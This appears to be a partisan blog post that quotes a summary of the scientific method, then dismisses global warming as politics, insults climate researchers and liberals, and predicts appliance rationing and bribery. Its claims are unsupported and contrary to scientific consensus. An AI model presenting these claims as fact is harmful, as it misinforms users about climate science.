Better Living through the Pecksniffian Method


The scientific method is the best way yet discovered for winnowing the truth from lies and delusion. The simple version looks something like this:
  • 1. Observe some aspect of the universe.
  • 2. Invent a tentative description, called a hypothesis, that is consistent with what you have observed.
  • 3. Use the hypothesis to make predictions.
  • 4. Test those predictions by experiments or further observations and modify the hypothesis in the light of your results.
  • 5. Repeat steps 3 and 4 until there are no discrepancies between theory and experiment and/or observation.

When consistency is obtained the hypothesis becomes a theory and provides a coherent set of propositions which explain a class of phenomena. A theory is then a framework within which observations are explained and predictions are made. - "What is the ``scientific method'?"


    I'm no scientist, but I do understand that, which is more than most proponents for the Global Warming hypothesis can say.  Over the years I've adopted a sort of dumb guy's approach to understanding  issues for which I'm educationally or innately ill equipped to fathom.  I  look for which side is making stuff up, and conclude they are  beslubbering hasty-witted lying moldwarps .  Lets call this the "Pecksniffian Method" to understanding life.  Citations of  manufacturing evidence, distortion, and outright lying by globalwarmists so dominates that issue, that reaching a conclusion was easy. The Pecksniffian Method also led me to the understanding that today's political liberals (a.k.a. Donks) are, surprise, also  beslubbering hasty-witted lying moldwarps.  Which is why "Global warming smear targets" comes as no surprise.

Global warming has everything to do with politics and nothing to do with science.

Expecting the Global Warming Industry to use the scientific method is like expecting TV scriptwriters to use algebra in writing scripts.

It is all about power and money. They believe all of us have too many possessions. The Global Warming Industry will put a limitation on the number of appliances that are allowed in a city. If you want a TV, you will have to stand in line with your ration book. You will get the TV they think you should have.

Of course, if you are rich, you will just pay a bribe to get any TV you want and you will not have to wait 5 years. That’s why some rich people like the left. The rich know they can get anything they want from a left-wing government by paying a bribe.
